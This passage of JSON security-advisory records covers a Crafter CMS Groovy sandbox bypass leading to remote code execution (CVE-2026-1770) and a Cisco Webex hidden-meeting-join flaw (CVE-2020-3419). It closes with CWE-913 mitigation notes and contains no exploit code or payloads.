"ecosystem": "Maven",
"name": "org.craftercms:craftercms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1770"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T22:36:58Z",
"nvd_published_at": "2026-02-02T17:16:17Z",
"severity": "MODERATE"
},
"details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass. By inserting malicious Groovy elements, an attacker may bypass sandbox restrictions and obtain RCE (Remote Code Execution).",
"id": "GHSA-gj28-gw7w-3pxc",
"modified": "2026-02-02T22:36:58Z",
"published": "2026-02-02T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1770"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/current/security/advisory.html#cv-2026020201"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftercms/craftercms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H/E:U",
"type": "CVSS_V4"
}
],
"summary": "Crafter CMS has Improper Control of Dynamically-Managed Code Resources"
}
GHSA-GQ3H-3P4J-VFFV
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34A vulnerability in Cisco Webex Meetings and Cisco Webex Meetings Server could allow an unauthenticated, remote attacker to join a Webex session without appearing on the participant list. This vulnerability is due to improper handling of authentication tokens by a vulnerable Webex site. An attacker could exploit this vulnerability by sending crafted requests to a vulnerable Cisco Webex Meetings or Cisco Webex Meetings Server site. A successful exploit requires the attacker to have access to join a Webex meeting, including applicable meeting join links and passwords. The attacker could then exploit this vulnerability to join meetings, without appearing in the participant list, while having full access to audio, video, chat, and screen sharing capabilities.
{
"affected": [],
"aliases": [
"CVE-2020-3419"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-18T19:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in Cisco Webex Meetings and Cisco Webex Meetings Server could allow an unauthenticated, remote attacker to join a Webex session without appearing on the participant list. This vulnerability is due to improper handling of authentication tokens by a vulnerable Webex site. An attacker could exploit this vulnerability by sending crafted requests to a vulnerable Cisco Webex Meetings or Cisco Webex Meetings Server site. A successful exploit requires the attacker to have access to join a Webex meeting, including applicable meeting join links and passwords. The attacker could then exploit this vulnerability to join meetings, without appearing in the participant list, while having full access to audio, video, chat, and screen sharing capabilities.",
"id": "GHSA-gq3h-3p4j-vffv",
"modified": "2022-05-24T17:34:34Z",
"published": "2022-05-24T17:34:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3419"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-auth-token-3vg57A5r"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of acceptable values.
Mitigation
Strategy: Refactoring
Refactor the code so that it does not need to be dynamically managed.
No CAPEC attack patterns related to this CWE.